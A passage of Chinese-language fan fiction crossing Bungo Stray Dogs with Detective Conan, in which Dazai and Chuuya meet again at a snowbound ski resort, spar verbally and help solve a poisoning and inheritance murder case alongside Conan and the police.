中岛敦和立原道造的声音重合起来,抬眼看过去,在吵闹中两方泾渭分明的人马居然只是看起来剑拔弩张,甚至隐隐有些和谐。
“让Mafia去做这些事,效果居然还不错。”森鸥外带着爱丽丝站在阴影处,眸子闪过几分意外。
“人是趋光的,天性如此吗?”他低声喃喃,想起那个被自己推开的孩子。
“我还以为你会将这个程序交给异能特务科或者侦探社。”森鸥外在接到太宰治交过来的程序时难得有些困惑。
“他们不适合。”太宰治打了个哈欠。
森鸥外没有追问的打算,转了话题:“你接下来准备怎么做?”
太宰治没有开口,而是懒懒地掀了下眼睑:“森先生不是已经猜到了吗?”
森鸥外微笑着:“我只是一个快要退休的老头子,猜不到你们这些年轻人的想法。”
“人是趋光的,这是天性。”黑发青年只解释了这么一句。
三刻构想本就只
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能是一个权宜之计,现在三足鼎立的局面迟早会被打破。
属于黄昏的那一方武装侦探社其实很好安定,不管是将他们纳入政府行动的一方,还是任由他们完全成为民办组织都没关系。
重点是港口Mafia和政府一方的矛盾,要么西风压倒东风,要么东风压倒西风。
港口Mafia当然不可能成为执政一方,那就只能为两方制造一个缓冲地带,制造相同的利益立场。
而这份工作又恰好满足了人类的趋光渴望。
剩下的内容就该他们自己磨合了,最后能磨合成什么样子太宰治也不知道。
而这些,太宰治只需要付出一个程序。
也不一定是他付出。
前几天,菲茨杰拉德见到太宰治了。
“我需要神之眼。”眼前的青年神色浅淡,好像不知道自己提出了一个怎样的请求,如此轻描淡写。
神之眼,世界上最先进的人脸识别系统。
甚至可以媲美神明。
说实话,菲茨杰拉德对太宰治的到来并不算很意外,毕竟最近频发的事件“受害人”大多参与过那件事。
菲茨杰拉德在被放出来后就查过当时重力使死亡的详情,令人意外的是,关于这件事情的资料少得可怜,他也是费了九牛二虎之力才弄清了一些当年那件事的真相。
横滨政府高层有人与死屋之鼠勾结。
但他也只查到这里,更深一点的他也查不下去了。
“那么,太宰君,你能给我什么?”菲茨杰拉德双手撑在桌子上,似笑非笑地看着太宰治。
只是脑后隐隐有些发凉。
依照之前太宰治的疯魔程度都没能用【书】复活那位重力使,要么他现在走出来了,要么他找到其他法子了。
“复活的方法。”太宰治像是随口一说。
菲茨杰拉德猛地拉进与太宰治的距离,他眯着眼睛:“怎么证明?”
太宰治从口袋中掏出一张照片,里面是一个女孩,照片很新,是最近照的。
菲茨杰拉德瞳孔放大。
36.第 36 章
太宰治叛逃后的第三年,中原中也遇到了一场意外。
回到港口Mafia时浑身是伤,这在中原中也身上是极为少见的事情。
但具体发生了什么,中原中也却已经不记得了。
港口Mafia的私人医生给中原中也检查过后,没有说出口的是这其实很像之前太宰先生在时中原干部使用污浊时的后遗症。
但这怎么可能呢?太宰先生已经叛逃了。
医生告诉自己。
中原干部跟太宰先生绝对没有干系。
谁来问都是一样的结果。
直到太宰治回归港口Mafia。
医生本人也没想到他会再一次见到太宰治,他有些踌躇:
“您有什么事吗?”
现在太宰治在港口Mafia的位置颇有些暧昧,没有职位,没有手下,要做什么都是临时借调人手。
但这都跟他一个医生没有半点关系,他只是一个医生。
“你是中也的私人医生,”太宰治双手交叉,下巴搭在手指上,微偏着头,眸子似笑非笑,明面上的温和之下是潜藏的冷冽,“那么,你可以告诉我。”
“为什么中也二十岁会有一次病危抢救吗?”
医生瑟缩了一下,冷汗慢慢浸湿了他的衣服。
眼前人的手段他是见识过的,甚至连他也是被眼前人送到中原干部身边的。
他嗫嚅着,没有说出一句话。
“是在中也身边待久了,所以忘记你是谁了吗?”太宰治嘴角被扯平了,看不出情绪,说话声音也是清浅的。
可就是这样的清浅,让人控制不住地从心底产生恐惧。
医生颤抖起来。
太宰治没有强逼着医生说话,而是耐心地等了等,手指轻敲了几下桌面。
一秒。
两秒。
三秒。
“是,中原大人不准我们往外传,连首领也不知道。”医生额角的汗滑落到眼睛里,眼前一片模糊,他努力瞪大眼,眼泪却流了出来。
太宰治离开医务室时,外面的天气很明媚,他眸子却盈不出半点笑意。
冷得瘆人。
浑身是血,濒临死亡,甚至连心脏脉搏都停止了。
“能活过来就已经算是医学奇迹了。”
医生的话历历在耳,像是狠狠打了太宰治一个巴掌。
“区区中也。”太宰治咬牙切齿,好像有许多话要说,只可惜剩下的话都被淹没在喉咙中了。
— —
“阿嚏——”
中原中也打了个喷嚏,悲伤地吸了吸鼻子。
感冒了?不能吧?难道是混蛋太宰在说他坏话?
“小中也是感冒了吗?”半长发的青年担忧地看着中原中也。
眼前的青年中原中也并不认识,他是突然掉到这里来的。
——从天而降。
来之前他就是很正常地跟部下喝酒,很正常地被部下送回家,醉着醉着他突然到了半空中,差点就要自由落体了。
安全落地之后就碰到了眼前的青年,话语中尽是对他的熟稔。
萩原研二本来是跟松田阵平一块出来滑雪度假的,谁知道这么倒霉碰见了凶杀案,去雪场找线索时正好捡到中原中也。
中原中也这些年身高倒是没长,只是眉眼间没了那份稚气与青涩,看得出这三年他应该经历了不少事情。
而且,他已经不记得他们了。
萩原研二心下怜惜尤甚。
是遇到什么事情了吗?
他思忖着,脸上笑意不变,看着温和极了。
“中原——”
门猛地被推开,一道黑色身影风一样卷进来夹着外面的寒意。
卷毛青年带着墨镜,语气里带着些困惑,眼前的橘发青年有着与三年前一般无二的脸和身高,看起来毫无变化,只是松田阵平能看出来青年蓝眸里的警惕:
“你什么都不记得了?”
松田阵平问他。
中原中也回看过去,微挑了挑眉,神情越发从容。
这幻境这么逼真吗?
据半长发青年所说,他跟眼前两人认识时是17岁,但他可没有缺17岁的记忆。
一般来说,这种幻境只需要把所有人都弄死就行了。
中原中也压下自己心底莫名涌出的不安。
不过,还是谨慎一点为好。
中原中也调整了一下表情,争取让他变得无害一点,他顿了顿,以一种迟疑的语气:“应该?”
松田阵平/萩原研二:坏了,这是真出事了。
三年前他们与中原中也最大的联系其实就是那个案子,但是中原中也素来是秉持着能不让他们掺和就不掺和的态度,拒人于千里之外。
现在居然……
他们现在说不出话,但两位幼驯染的想法非一般同步了起来。
于是,一个去给目暮警官打电话,一个给中原中也续了杯姜茶。
中原中也:……
“所以,现在这是哪里?”中原中也默默放下手里的杯子。
“这里在青森。”萩原研二接话,“可能是因为暴风雪,现在信号不好,电话打不通。”
更像幻境了。
中原中也沉默。
难道是要破案?
这种类型的幻境中原中也不是没碰到过,暴风雪山庄吗?
“等雪停了,应该就可以联系到山下的警方了。”萩原研二安慰他。
现在小中也没有记忆,对这种环境应该有些不安。
中原中也点头。
外面突然吵闹起来,是一群小孩子的声音,像是簇拥着人走近了。
“萩原警官,有个哥哥说要找刚才的哥哥。”小朋友敲了敲门,很有礼貌,但门还是“唰”地一下打开了。
因为有人不讲礼貌。
黑发青年一袭黑色的风衣,衣角带着不太明显的湿意,肩头落满了雪,头顶上也带着点白意,眸子黑沉沉的,目光直直看向房间内同样衣着单薄的橘发青年。
两人对视着,谁都没有移开目光。
房间内气氛忽然陷入了凝滞,房间内房间外声音渐息。
二人都一言不发。
较劲似的。
“啊,那个太宰先生是不是先把湿衣服换下来?”打破冷凝的是一道温柔的女声,有些慌乱,是一个高中生少女。
“啊,对对对,我这就去给太宰哥哥拿干衣服。”另一道清脆的童声响起,仿佛一唱一和。
有人开了头,剩下的人都悄悄舒了一口气,几个小朋友的声音响起:
“我去问问店长姐姐还有没有姜茶。”
“我,我们一起去。”
中原中也收回目光。
浑不在意似的。
太宰治眸子底下的怒意则
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越烧越旺,他冷笑:“狗狗见到主人都不会动的吗?”
原本已经要暖起来的场子又陷入了死寂。
江户川柯南:……
刚才不是一幅急得要死的样子吗?怎么到了人眼前就这样了!
“哈,你算哪门子主人?”中原中也也冷笑,“一个叛徒而已。”
“中也,果然是狗狗呢,一样的没脑子,”太宰治顿了顿,笑出声来,几乎藏不住眸子里的怨恨,“活该被人打得半死都叫不出声来,被人稍微勾勾手指就被骗走了。”
太宰治不等中也回答,就连珠炮一样继续说了下去:
“不对,中也还不如狗狗呢,好歹狗狗一辈子只认一个主人,中也真是一条好没用的狗狗啊。”
“你这条混蛋青花鱼是不是被冻坏脑子了?发什么疯呢?你不是想死吗?我现在就可以满足你。”中原中也跳到太宰治面前,跟太宰治对骂起来。
“狗狗就应该主人说什么就是什么,我让你往东就不准往西,我想骂你你就应该乖乖被骂,我想知道你就应该把所有事情都告诉我,不管是受伤了还是要死了还是你身体内部,主人全都应该知道!世界怎么会有你这种狗啊!”太宰治生气。
“你是不是有病啊?有病就去治啊!我受伤生病关你屁事啊,死了也跟你没关系好吗?葬礼都不会邀请你。”中原中也当即骂了回去。
“呵呵,中也真是一点都没有长记性呢,”太宰治脸上表情越发阴沉,他抓住中原中也的choker,强硬地将中原中也的脸拉近,“中也,说这话前也要先把我送的狗链子摘了吧?”
随后,他的手滑到中原中也的脖子处,冰凉的,像蛇一样。
“这里中也有过一道3厘米的疤,是在羊的时候弄伤的,后来好了。”
“这里,这里,还有这里……”
太宰治的手被抓住了,他脸上微笑着,带着深深的恶意。
“嗯?是我说的有哪里不对吗?”
中原中也没有让太宰治的继续划下去,他脸上的表情甚至可以说乏善可陈:“说够了吗?前搭档?”
太宰治脸上的表情一寸寸崩裂。
中原中也带着太宰治的手划到胸口处,隔着西装并不能摸出什么,但太宰治还是感受到了底下浅浅的凸起,那是一道疤:“这是你划的。”
这道疤贯穿了中原中也的胸口,像箭一样。
这是他们十七八岁的时候弄的,就算他们是黑/手党也还没摆脱少年人的中二,甚至因为是黑/手党,所以更无法无天,控制子弹、信任游戏他们都玩过。
那一次是打赌,输了的人要被纹上一道专属标志。
也不知道那时候太宰治是从哪里看来的,横竖要在中原中也身上弄点什么标记。
中原中也会理他吗?
会,非但理,还跟太宰治较上劲了。
他甚至都选好了在太宰治身上要画点什么了,可惜他输了。
中原中也身上受过的伤很多,也不在乎被太宰治添上一道,反正都会好。
但太宰治事到临头反而不敢划了。
中原中也半躺着嘲笑太宰治心慈手软,被太宰治一把捂住嘴。
最后还是中原中也的手带着太宰治划出来的痕迹。
荒霸吐给中原中也身体的优待让他的身体很难留下疤来,他身上只有这道玩笑时划下的疤还留在他的身体上。
像箭一样。
37.第 37 章
原本气焰嚣张的太宰治手像是被烫到了,迅速与中原中也拉开距离,手猛地收了回来。
本该燎原的火在幼苗时被平白浇了一泼冷水,说不出滋味。
太宰治手指微蜷,面上却还是冷笑着。
一团气在他心口乱窜,横冲直撞,带着灼灼的热意,几乎要将他点燃。
他察觉到中原中也的视线扫过,带着阴阳怪气:“中也是在看什么?笑话吗?”
“看你啊。”中原中也轻嗤,双手抱胸,撇开眼睛,指尖却不由自主轻点着。
混蛋太宰,你是还没放弃找死吗?
太宰治眸子轻轻点过。
唔,是在担心啊。
太宰治心口乱窜的热气找到了出口,慢慢的化开他眼底深沉的鸢色。
太宰治随手脱下浸湿的外套挂在手上,里面只有单薄的衬衫,已经不能说单纯的不要温度只要风度了,简直是从其他季节过来。
和他一样的还有中原中也,同样的西装加衬衫,只是中原中也来的早,已经被毛毯包住了,而太宰治来的急,和中原中也见面后又忙着互掐。
“阿嚏——”
太宰治的身体后知后觉,连打几个喷嚏,唇色已经有些发青了。
这几声喷嚏叫醒了在场众人,他们不约而同地假装方才中原中也和太宰治的剑拔弩张不存在,找毯子的找毯子,找衣服的找衣服,找热汤的找热汤。
滑雪场配套的服务体系还算完全,只是被迫困在山上,物资什么的都还算充盈,因此找东西也不算麻烦。
但太宰治最后还是倒了。
他最近这段时间很忙,只是不常显露在人前,从港口Mafia叛逃后他很久没有这么忙过了。
每天只睡3个小时,还不包括他从梦中惊醒的时间。
只要睡觉,太宰治的梦里就是铺天盖地的血色。
他没有见到中原中也死前的最后一面,他只能在脑海中不断推演,不断搭建,最后变成他的梦。
不是噩梦,是美梦。
有时他及时赶回来了。
太宰治旁观着他已经见过无数次的对话。
“中也,你真的想好了吗?”他问橘发青年,鸢色的眸子紧紧盯着中原中也,只要眼前人流露出一星半点不愿意……
“混蛋太宰,”中原中也没有回答他的问题,“明天见。”
这是太宰治最后一次见到这抹比天空还要纯粹的蓝色。
神人不是开污浊就能解决的事情,那是次元与次元之间的碰撞。
太宰治在这场战争中毫无作用。
他只能在中原中也的庇护下,看着橘发神明用最后的、奇迹般的理智与神人一同坠入次元裂隙中。
只是他每一次都梦不到最后,就像是被人强制踢了出来。
这是他推演出来的,奇迹一样的结果。
不然,世界应该已经与中也一起陨灭。
他梦境的结尾永远是橘发神明最后的一瞥。
猩红色的,好像满是叹息,又好像空无一物。
但更多时候他并没有出现在这场战争中,当他回到横滨,等待着他的只有中原中也的死讯,甚至他在落地前都不知道中原中也的死讯。
太宰治冷眼看着自己心如死灰,几次尝试跳楼自杀与中原中也殉情,只觉无趣。
一群废物。
他冷冷地扯了扯嘴角,半点目光都不想分过去,但这显然不是他能控制的事情。
太宰治沉浸在梦中。
冰凉的手抚上太宰治的额头,像在行走沙漠中人眼前放了一眼清凉的泉水。
太宰治的脸贴着凉意来处,眉头不太安稳地皱了皱,一头扎进中原中也怀里。
他身上还带着未散尽的寒意。
中原中也早有预感太宰治这回要感冒,进来时特意小心地掩好了门,准备等身上的寒意散尽后再看太宰治。
只不过他没想到太宰治已经烧起来了,也就顾不得身上了,掌心贴着太宰治额头。
很烫。
中原中也晃了晃太宰治,想要把他叫醒。
很可惜,没有。
而且,太宰治还开始哼唧起来,哼的什么暂且不提,太宰治手死死地扣住中原中也的腰,扣得很紧,中原中也还以为太宰治已经醒了,现在只不过是在捉弄他。
中原中也也就没有动,等着太宰治什么时候装不下去。
“中也?”太宰治含糊着喊了一声。
他今天白天的时候跟中原中也用暗号约了晚上见面交换情报,但身体发出的警报显然没有那么容易忽略。
“睡觉前你感冒药吃了吗?”中原中也应声,看太宰治醒了也没推开太宰治,而是将他身上已经滑下来小半截的被子给他拉了上去。
他是秘密来的,不适合开灯,中原中也拍了拍太宰治的脸:“松开。”
“没。”太宰治脑子还有些糊糊的,他只回答了前一个问题,手没松开。
中原中也就知道太宰治不会松开,从口袋里掏了掏,掏出一个小瓶子。
是港口Mafia提供的常备药,有清热退烧消炎的作用。
喂给太宰治刚刚好。
太宰治偏头避开,被中原中也强行捏着下巴塞进去。
“中也真是世界上最讨厌的人了。”太宰治愤愤,可惜他现在正在生病,说话语气轻飘飘的,没有一点杀伤力,甚至还有承受中原中也的嘲笑。
中原中也兴致勃勃地点开手机录音器,抬了抬下巴,指使道:“再说一遍。”
这可是太宰治难得的黑历史素材。
太宰治慢慢将脸挪到被子底下,没理中原中也。
“中也你好无聊。”
中原中也想起什么:“你刚做噩梦了?”
身体素质的原因,中原中也的耳朵一向灵敏,进来时听到了太宰治轻微的抽噎。
很轻,轻到中原中也以为是自己耳朵出问题了。
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“没有哦,”太宰治吸了吸鼻子,“是个好梦。”
已经很久没有做过这么好的梦了。
太宰治克制着视线没看中原中也,只是架不住中原中也直直地看着太宰治。
“中也,是有什么事吗?”太宰治装傻充愣。
冰凉的刀刃贴着太宰治的下腹,让太宰治一僵。
中原中也没打算跟太宰治打太极,自然也不会把刀架在他脖子上,而真正能威胁到太宰治的地方……
“到底是怎么回事?”中原中也语带威胁,手下动作还在比划着,“老实说话。”
太宰治老实解释:“这是另一个世界,因为某些原因跟我们世界重合了,重合产生的裂隙会将两个世界的人相互传送。”
但是这个世界的记忆会随着回归而消失。
只不过中原中也的记忆格外干净。
有“人”刻意抹去了中原中也在这个世界的记忆,甚至扭曲了所有人的认知。
祂早就看到了中原中也的死亡,祂什么都没有做,什么都没有改变。
就是为了让中原中也心甘情愿去赴死。
而这些太宰治就不会对中原中也说了。
太宰治本来不准备这么急着来这个世界,他在横滨的事情还没有做完,就被传送到雪山脚下。
世界意识的声音带着心虚:“那个,出了点意外,你喜欢的人不知道为什么突然到了这里。”
祂支支吾吾:“我被吓到了,然后就顺手把你也弄过来了。”
世界意识传送的地方离滑雪场其实差了很长一段距离,滑雪场在快接近山顶的地方,而太宰治在山腰以下。
太宰治是一步一步走上来的。
冰天雪地,太宰治却丝毫不觉得冷。
太宰治搂了搂怀中身形娇小的青年,下巴搭在青年发顶,这是他们少年时一块睡觉惯常姿势。
“别乱动。”中原中也不耐烦地抬手摸了摸太宰治的额头,动作却是说不出的温柔,“还在烧,把被子盖好。”
中原中也心软。
只要撒一下娇,中也就会乖乖留下来。
“嗯。”太宰治闭上眼。
或许,太宰治比中原中也还有了解他一点。
不管是死亡、还是复仇,他都不会再对中原中也透露出一点。
十七岁的事情中也不会记得,二十岁呢?如果都会忘却,那就只有我记得就好。
中也,只需要好好活着就行。
太宰治和中原中也从不是可以相互理解的人,他们争锋相对,永远走在与对方截然不同的道路上。
但他们又永远不会将对方划出自己的轨迹。
中也,中也,中也。
世界上最讨厌的中也。
太宰治看着怀里的中原中也。
这是他没参与过的中也的轨迹。
“睡觉。”中原中也一巴掌捂住太宰治的眼睛,但两个人眸子都流出点点笑意。
38.第 38 章
“啊——”
尖叫声穿透寂静的夜。
又有人死了。
太宰治和中原中也还是没有享受到一个完美睡眠。
酒店里的人被这突如其来的声音惊醒,急匆匆地赶到尖叫发生地——正是太宰治房间隔壁。
众人恰好碰上出来看情况的两人。
太宰治脸色恹恹,头发软塌塌的,看着柔软极了,眸子却似乎粹了冰,压着浓重的厌烦与倦怠,看起来是被吵醒了,起床气严重。
站在他旁边的中原中也头发凌乱,衣服穿得整齐就是大了一圈,虽也打着哈欠,却没什么起床气,看见来人与他们打了个招呼。
最令来人大跌眼镜的是,白日里才剑拔弩张大吵一架的两人,现在站在一起,橘发青年还任由黑发青年趴在他肩膀上迷迷瞪瞪地补觉。
是不是真的补觉暂且押后不提,他们就这么黏在一块已经足够让人惊诧了好吗?
作为最先抵达现场的人员——江户川柯南只有以下六点要表示:……
好在江户川柯南在他还是工藤新一的时候就认识他们了,对这现状也不算太过惊讶。
小侦探只是看了他们一眼,就直接绕过他们去看案发现场了。
以他与太宰治和中原中也打交道的经验来说:不要问!
江户川柯南没有问,比他晚到一步的毛利小五郎则接替了小侦探的问题。
毛利小五郎严肃着脸:“请问两位为什么会这么晚才出来?”
中原中也和太宰治里死者的房间很近,但他们却是在其他人到达前不久才出来,实在是古怪。
而毛利小五郎没问出口的还有:你们俩的衣服明显穿反了啊!
他紧绷着脸,戒备着眼前二人。
“穿衣服啊。”太宰治打了个哈欠,脸上还有些未褪的红晕,语气冷淡,“毛利先生,你是在怀疑我们吗?”
他似笑非笑。
“凶手可不是我们哦。”
似乎意有所指。
毛利小五郎也冷哼一声:“凶手都会说自己不是凶手,我看就是你们两个作案。”
他越说思路越发顺畅:“其实你们早就已经到了,昨天你们吵架也是你们演的一场戏,就是为了洗脱你们身上的嫌疑!”
“就连昨天三条先生的死也是你们的手笔吧?”
三条就是昨天的死者,并没有找到尸体,只是有目击者看见他坠落悬崖。
昨天松田阵平和萩原研二去雪场也是因为这个。
他们在找三条的尸体。
而中原中也幸运地被萩原研二在雪场发现,太宰治则从山下走了上来。
今晚的案子发生恰好发生在太宰治房间隔壁,他们又是如此的可疑行径。
简直是要将“嫌疑”二字刻在脑门上了。
“西芹小姐就是因为看见了你们的犯案过程,所以你们才会杀了西芹小姐。”毛利小五郎继续道。
太宰治饶有兴致:“那昨天西芹小姐为什么不指认我们呢?”
是啊,西芹小姐昨天也帮忙了。
毛利小五郎被问住了,额头冒着冷汗,盯着太宰治的脸盯了许久,他终于想通了关键点,并且逻辑顺畅,他眉眼沉了下来:“当然是因为西芹小姐被你的脸给迷住了!”
“噗。”中原中也没有憋住笑,他嘲笑太宰治,“混蛋太宰,遭报应了吧?”
自从太宰治叛逃后,他的手机很久都没有消停过了,经常能在大半夜接到太宰治招惹的女士的电话。
太宰治从来不留自己的电话,留的都是中原中也的。
气得中原中也直接把太宰治的电话拉黑了,现在都还没放出来。
但是太宰治总能在各种各样的地方给中原中也一个“惊喜”。
“那中也有没有被我的脸迷住?”太宰治对毛利小五郎的话没什么反应,反倒开口逗着中原中也。
眉眼含着笑,又带着点漫不经心。
像黑猫。
“喂——”
这种不痛不痒的话在他们之间发生过很多次,太宰治却乐此不疲。
中原中也的眸子有一瞬迷蒙了,但很快转变为冷漠,他怼:
“混蛋太宰,要点脸。”
“你们……”
可惜中原中也从没想过养猫。
“噫,没眼光的小蛞蝓。”太宰治嫌弃。
“能不能……”
两人聊着聊着已经完全忘记了自己身在何处,好像自成一界。
毛利小五郎:……
他全然被忘却了。
毛利小五郎不是没试过要打断两人,只不过他完全被忽视了。
“听我说话!”毛利小五郎发怒。
“是发生什么事了吗?毛利先生。”萩原研二挡在中原中也面前,脸上笑意温和。
他与毛利小五郎打交道的次数不少,他并不是个坏人,只是有些急躁。
但毛利小五郎有些太凶了。
毛利小五郎整理了一下衣服,解释道:“我怀疑他们就是凶手,甚至昨天三条先生的死也是他们做的。”
萩原研二脸色严肃:“是不是有什么误会?小中也与三条先生和西芹小姐并没有任何交集。”
其实萩原研二也不确定,只不
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过中原中也要是真想杀了三条先生和西芹小姐应当是留不下这么大的把柄的。
萩原研二不动声色地扫了太宰治一眼。
而且,他已经推理出凶手了,只是还需要证据来验证。
太宰治察觉到萩原研二的视线,微微弯了弯唇,眸子中却没什么笑意。
他并不喜欢萩原研二,虽然萩原研二是他选中的人。
“凶手就是那位三条先生哦。”太宰治笑眯眯着。
不等毛利小五郎反驳他,太宰治就说出了原因:“我昨天上来的时候看见他了,他完全没有受伤。”
“动机大概是为了争夺家产什么的吧。”太宰治随意道。
“西芹小姐想要先下手为强,所以让人将三条先生推了下去,但是没想到三条先生早有准备,反杀了西芹小姐。”太宰治露出无聊的笑容,“好烂俗的剧情。”
毛利小五郎还是不服气,被太宰治打断:“不信的话,可以问问……这位小朋友。”
太宰治顿了顿,像是找到什么有意思的东西了。
被突然点到名的江户川柯南僵住了,他脸上浮现出一抹惯常的乖巧笑容,试图萌混过关:“我怎么会知道呢?我只是一个小学生哎,太宰哥哥。”
毛利小五郎眯了眯眼,一手拎起江户川柯南:“你这小鬼又是什么时候跑过去的?离案发现场远点啊。”
“我也想要帮帮忙嘛。”江户川柯南一脸心虚,没敢抬头看黑发青年。
“咔嚓——”
相机声响起。
江户川柯南瞪大眼睛。
太宰治收起手机,还有心情朝江户川柯南点了点头:“人生需要纪念,我会把照片发给你妈妈的。”
江户川柯南:……等等,不会吧?
与此同时,中原中也的视线也不轻不重地扫过他,像是在估量些什么。
江户川柯南倒吸一口气,偏偏太宰治还在火上浇油。
“没关系,柯南君,你只需要说出你发现什么就好了。”太宰治善解人意。
江户川柯南幽怨地看了太宰治一眼:“西芹小姐的嘴唇发紫,还有股淡淡的苦杏仁味,是氯化物中毒。”
太宰治点头示意江户川柯南说下去。
“三条先生的坠落只是西芹小姐的一面之词,并没有其他人看到这一幕。”江户川柯南继续补充,“所以,三条先生可能没死。”
“但是为什么太宰哥哥要说他们是为了争家产啊?”江户川柯南故作天真。
“因为……”太宰治顿了顿,恶劣地低下头,“你猜啊,新一君。”
他无声地做出口型。
39.第 39 章
事情好像结束了。
太宰治打着哈欠就要拉着中原中也回去继续睡觉,但他被拉住了。
穿着深蓝色小西装的小朋友拉着他的手,眨巴着眼睛,眸子流露出乞求的意味:“太宰哥哥你能不能跟我过来一下?”
小朋友戴着眼镜,撒娇时声音不自觉软了下来,很容易就会让人心软。
如果在这里的不是太宰治的话。
“不,我要回去睡觉了,新一君。”太宰治微笑着拒绝,最后一句声音很轻,但足够工藤新一听清,或者说他就是故意让工藤新一听见的。
工藤新一当然不是只要被拒绝就不问的人,遇到案子时要是就这么放弃他也不会是“平成时代的福尔摩斯”,但他窥见了更可怕的东西。
甚至比他当初被打晕时见过的银发青年还要恐怖。
太宰治说完就起身了,神情温和,轻轻拍了拍工藤新一的头,细心叮嘱:“要早点睡啊,不然很容易像中也那样长不高的。”
任谁看来都无比正常的一段对话。
如果其中的另一个人称不是工藤新一的话,偏偏罪魁祸首还一脸无辜地看着江户川柯南,好像没发现半点异常。
工藤新一僵在原地,冷汗直冒,几乎要喘不过气来。
他看见了,藏在太宰治眸底的黑沉,张牙舞爪。
“柯南,柯南。”毛利兰轻轻拍了拍他,神色有些担忧,“你没事吧?”
江户川柯南掩饰着慌张:“我,我没事啦,小兰姐姐。”
要去告诉萩原警官他们吗?先不说他有没有证据,太宰治在警方那边的信誉显然不会让警方相信他的话。
“可是你脸色好难看。”毛利兰弯着腰。
而且,太宰治知道他的身份。
“只是有点冷啦。”江户川柯南极力扯出一个笑,“我们快回去吧,已经很晚了。”
“好。”毛利兰看着江户川柯南苍白的脸色,点了点头,“要是难受一点要告诉我。”
江户川柯南用力点了点头,好像这样就能将那双黑沉的眸子甩出自己的脑海。
那双眸子带着的煞气几乎到了浓郁的程度。
不对,怎么这么冷?
江户川柯南忽然想通了什么,冲到房间内,呼呼的冷风灌了进来。
只不过……
“阿嚏——”
确实有点冷了。
— —
“混蛋太宰,你又吓小孩了。”中原中也看完了太宰治吓江户川柯南的全过程,一脸无语。
“嘛,难道中也不觉得柯南君的表情很好玩吗?”太宰治弯着眸子。
“谁会和你一样恶趣味啊。”中原中也无语。
“噫,蛞蝓果然是蛞蝓,这怎么可以叫恶趣味呢?”太宰治哼哼了几声。
“混蛋太宰,你是怎么看出来那个西芹和三条是为了争抢家产的?”中原中也问,“他们连姓氏都完全不一样。”
太宰治露出一个饶有兴趣的笑容:“这么简单的事情中也居然看不出来,真是没脑子的小蛞蝓。”
他兴致勃勃地解释给中原中也听:“这家酒店叫西芹大酒店啊。”
太宰治看见中原中也点了点头,但还是没有反应过来,语气十分恨铁不成钢,尾音却微微翘了起来。
“中也真是笨蛋,一点都没有动过脑子,简直让人怀疑中也的脑子是不是和刚刚出生的小婴儿一样,空空荡荡。”
“混蛋太宰,揍你啊!”中原中也挥舞了两下拳头,随后顿了顿。
西芹大酒店是西芹家开的,西芹小姐几乎可以算是酒店的大小姐了,肯定没有人敢去招惹她,就算是给她打扫卫生的人应当也不会这么简单就让人混进去。
但三条却没有惊动任何人。
就算隔了一堵墙,中原中也也不至于连隔壁死了一个人都不知道。
只可能是他手上有西芹小姐房间的钥匙,让中原中也将他的动静当成了正常的声音忽略了。
“那也只能说明酒店有三条的人。”中原中也低喃。
“我还以为中也会第一个发现呢。”太宰治拉长了声音。
是身高!
他们的身高不一样。
西芹小姐早就死了,昨天和他们一起活动的是伪装成西芹小姐的三条先生。
中原中也没忍住嘴角抽了抽,觉得这实在是有些戏剧性了。
而西芹小姐的尸体暴露完全是场意外,他根本没准备将西芹小姐的死暴露在公众视野中。
三条最开始的想法应该是取代西芹小姐,将西芹小姐的尸体伪装成他的。
他是私生子,能让他这么铤而走险的原因只要一个。
那位西芹先生立的遗嘱大概是直接将自己的所有财产都交给了西芹小姐。
难怪混蛋太宰会这么直白地说他们是为了家产,能像成这样,大概是有血缘关系了。
可是为什么呢?
中原中也眼神飘着,思绪被太宰治打断。
“笨蛋中也的脑容量就算多久果然还是好小。”太宰治嘟囔着,眼角却含着笑。
“我还以为那个孩子叫做新一?”中原中也冷不丁开口。
突如其来的问题,温和的语气,愉快的谈话范围。
最简单的审讯手段。
谎言当场就被拆穿了,太宰治却不慌不忙,像是早有预料。
他抱怨着,语气却撒娇似的开口:
“中也这不是猜到了吗?中也的审讯还是我教的,是要放到我身上吗?”
“中也要动刑吗?好可怕。”
不知道为什么,中原中也听出来几分跃跃欲试。
中原中也摸了摸略有些泛红的耳垂,脸上却翻了个白眼:“说清楚到底怎么回事?”
太宰治笑看着中原中也,眸底却带着不易察觉的沉思。
要
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将中也扯进这个旋涡中吗?
只要让中也自己决定要回去就好了,那就不能让中也看见,一点也不行。
心脏像是被什么东西烫了一下,既疼又带着蚀骨的痒。
“中也,你来的时候是什么时候?”太宰治突然问。
中原中也虽然觉得混蛋太宰问的有些莫名其妙,但还是报了个时间。
离医生手里的那张病历本时间还有三个月。
太宰治的睫毛极速地扇动几下。
他下了决定。
太宰治张口就来:“江户川是个可怜的孩子,他真名是工藤新一。”
工藤新一一直以为自己是被当做实验材料制造出来的,但他实际上是工藤一家的孩子,他的父母以为他已经死了,所以又生了一个孩子并用了工藤新一的名字。
柯南好不容易逃了出来,但是常年被当做实验材料,他的身体发生了异变,他缩小了,并且把自己当成了他的弟弟工藤新一。
多可怜的孩子。
“如果正常长大的话,他应该和毛利小姐一起上高中了。”太宰治叹息着,像是为工藤新一可惜,里面又像是潜藏着其他什么东西。
简直像是鳄鱼的眼泪。
人体实验吗?
中原中也微微皱了皱眉,略一点头,等待着太宰治的下文。
“接下来要中也自己去发现哦。”太宰治适时停了下来,没有说下去,“毕竟,中也不会信的嘛。”
鸢眸似乎含着笑,又似乎带着浅浅的落寞。
房间的灯打在他的黑发上,像阴影一样,孤独又可怜。
中原中也坦然:“谁知道你会添油加醋到什么程度啊?”
只是手指微蜷。
真过分了?不应该啊,难道这几年混蛋太宰洗白把脑子也洗掉了?
中原中也并不认识工藤新一,不认识意味着一切都能够由太宰治来决定,而太宰治恰好最擅长的就是这个。
虽然对象是中原中也。
太宰治咬了咬唇,血腥味从慢慢充盈他的唇腔,疼意让他清醒。
待在江户川柯南身边,中也才不会受伤,毕竟是主角嘛。
不管是哪个世界都是被人创造出来的,一眼就能看到底的世界。
无聊至极。
太宰治懒懒地垂下眸子,压下心底的冷意。
抬眸时又可怜回去了。
“谁让我只是叛徒。”太宰治叹了一口气,显得越发可怜。
中原中也思忖着要不要哄一下太宰治。
“要是中也愿意穿上小狗女仆装让我看一下就好了。”太宰治敏锐地察觉出中原中也的心软。
可怜兮兮的嘴里说出了极为招打的话。
“滚。”中原中也掀了掀眼睑。
中原中也:……果然只是错觉。
太宰治弯唇笑了一下。
所以啊中也,不要心软。